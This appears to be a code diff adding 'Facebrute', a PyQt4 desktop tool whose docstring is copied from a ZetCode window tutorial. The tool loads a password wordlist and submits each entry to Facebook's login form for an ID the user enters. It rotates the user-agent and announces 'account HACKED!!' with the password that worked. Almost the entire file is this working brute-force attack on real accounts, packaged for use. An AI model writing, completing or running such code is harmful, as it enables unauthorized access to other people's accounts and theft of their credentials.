|
| 1 | +#!/usr/bin/python |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | + |
| 4 | +""" |
| 5 | +ZetCode PyQt4 tutorial |
| 6 | +
|
| 7 | +In this example, we create a simple |
| 8 | +window in PyQt4. |
| 9 | +
|
| 10 | +author: Jan Bodnar |
| 11 | +website: zetcode.com |
| 12 | +last edited: October 2011 |
| 13 | +""" |
| 14 | + |
| 15 | +import sys, os, random, mechanize, cookielib |
| 16 | +from PyQt4 import QtGui, QtCore |
| 17 | + |
| 18 | +class Facebrute(QtGui.QMainWindow): |
| 19 | + |
| 20 | + def __init__(self): |
| 21 | + super(Facebrute, self).__init__() |
| 22 | + |
| 23 | + self.initUI() |
| 24 | + |
| 25 | + def initUI(self): |
| 26 | + |
| 27 | + #default variables value |
| 28 | + self.passwords = False |
| 29 | + |
| 30 | + self.setToolTip('Facebrute by P0cL4bs Team') |
| 31 | + |
| 32 | + self.createFacebookAccount() |
| 33 | + self.createWordlistUpload() |
| 34 | + self.createResult() |
| 35 | + |
| 36 | + # Crack facebook account button |
| 37 | + self.btnCrack = QtGui.QPushButton('Crack Account', self) |
| 38 | + self.btnCrack.resize(self.btnCrack.sizeHint()) |
| 39 | + self.btnCrack.clicked.connect(self.crack) |
| 40 | + self.btnCrack.move(10,150) |
| 41 | + |
| 42 | + self.setGeometry(300, 300, 260, 450) |
| 43 | + self.setWindowTitle('Facebrute') |
| 44 | + self.show() |
| 45 | + |
| 46 | + def createFacebookAccount(self): |
| 47 | + # Facebook account ID Label |
| 48 | + lbfacebookId = QtGui.QLabel('Facebook ID', self) |
| 49 | + lbfacebookId.move(10, 10) |
| 50 | + |
| 51 | + # Facebook account ID TextEdit |
| 52 | + self.txtfacebookId = QtGui.QTextEdit('', self) |
| 53 | + self.txtfacebookId.resize(240, 30) |
| 54 | + self.txtfacebookId.move(10,40) |
| 55 | + |
| 56 | + def createWordlistUpload(self): |
| 57 | + |
| 58 | + # Wordlist upload Label |
| 59 | + lbWordlist = QtGui.QLabel('Wordlist', self) |
| 60 | + lbWordlist.move(10, 70) |
| 61 | + |
| 62 | + # Wordlist upload TextEdit |
| 63 | + self.txtUploadEdit = QtGui.QTextEdit('', self) |
| 64 | + self.txtUploadEdit.resize(150, 30) |
| 65 | + self.txtUploadEdit.move(10,100) |
| 66 | + |
| 67 | + # Wordlist upload Button |
| 68 | + self.btnUploadWordlist = QtGui.QPushButton('Upload', self) |
| 69 | + self.btnUploadWordlist.setToolTip('Click this for upload Wordlist') |
| 70 | + self.btnUploadWordlist.resize(self.btnUploadWordlist.sizeHint()) |
| 71 | + self.btnUploadWordlist.clicked.connect(self.showDialog) |
| 72 | + self.btnUploadWordlist.move(170,100) |
| 73 | + |
| 74 | + def createResult(self): |
| 75 | + |
| 76 | + # Result Label |
| 77 | + lbWordlist = QtGui.QLabel('Result', self) |
| 78 | + lbWordlist.move(10, 190) |
| 79 | + |
| 80 | + # Result TextEdit |
| 81 | + self.txtResult = QtGui.QTextEdit('', self) |
| 82 | + self.txtResult.resize(240, 200) |
| 83 | + self.txtResult.move(10,220) |
| 84 | + |
| 85 | + def showDialog(self): |
| 86 | + |
| 87 | + fname = QtGui.QFileDialog.getOpenFileName(self, 'Open file', '/home') |
| 88 | + f = open(fname, 'r') |
| 89 | + |
| 90 | + with f: |
| 91 | + self.passwords = f.readlines() |
| 92 | + name = os.path.basename(str(f.name)) |
| 93 | + self.txtUploadEdit.setText(name) |
| 94 | + |
| 95 | + def crack(self): |
| 96 | + if self.passwords: |
| 97 | + self.crackFacebookAccount() |
| 98 | + else: |
| 99 | + self.alert("Please select the wordlist first") |
| 100 | + |
| 101 | + def alert(self, message): |
| 102 | + alert = QtGui.QMessageBox() |
| 103 | + alert.setText(str(message)) |
| 104 | + alert.exec_() |
| 105 | + |
| 106 | + def crackFacebookAccount(self): |
| 107 | + |
| 108 | + self.br = mechanize.Browser() |
| 109 | + cj = cookielib.LWPCookieJar() |
| 110 | + self.br.set_handle_robots(False) |
| 111 | + self.br.set_handle_equiv(True) |
| 112 | + self.br.set_handle_referer(True) |
| 113 | + self.br.set_handle_redirect(True) |
| 114 | + self.br.set_cookiejar(cj) |
| 115 | + self.br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) |
| 116 | + |
| 117 | + k = 0 |
| 118 | + while k < len(self.passwords): |
| 119 | + self.passwords[k] = self.passwords[k].strip() |
| 120 | + k += 1 |
| 121 | + |
| 122 | + for password in self.passwords: |
| 123 | + self.attack(password.replace("\n","")) |
| 124 | + |
| 125 | + def attack(self, password): |
| 126 | + |
| 127 | + useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')] |
| 128 | + login = 'https://www.facebook.com/login.php?login_attempt=1' |
| 129 | + |
| 130 | + sys.stdout.write("\r[*] trying %s.. " % password) |
| 131 | + sys.stdout.flush() |
| 132 | + |
| 133 | + self.br.addheaders = [('User-agent', random.choice(useragents))] |
| 134 | + |
| 135 | + site = self.br.open(login) |
| 136 | + |
| 137 | + self.br.select_form(nr=0) |
| 138 | + |
| 139 | + # Facebook login test |
| 140 | + self.br.form['email'] = self.txtfacebookId.toPlainText() |
| 141 | + self.br.form['pass'] = password |
| 142 | + self.br.submit() |
| 143 | + |
| 144 | + log = self.br.geturl() |
| 145 | + if log != login: |
| 146 | + self.txtResult.append("\n\n\n [*] account HACKED!!\n [*] Password : %s\n" % (password)) |
| 147 | + print "\n\n\n [*] account HACKED .. !!" |
| 148 | + print "\n [*] Password : %s\n" % (password) |
| 149 | + self.br.select_form(nr=0) |
| 150 | + |
| 151 | +def main(): |
| 152 | + |
| 153 | + app = QtGui.QApplication(sys.argv) |
| 154 | + fb = Facebrute() |
| 155 | + |
| 156 | + sys.exit(app.exec_()) |
| 157 | + |
| 158 | + |
| 159 | +if __name__ == '__main__': |
| 160 | + main() |
0 commit comments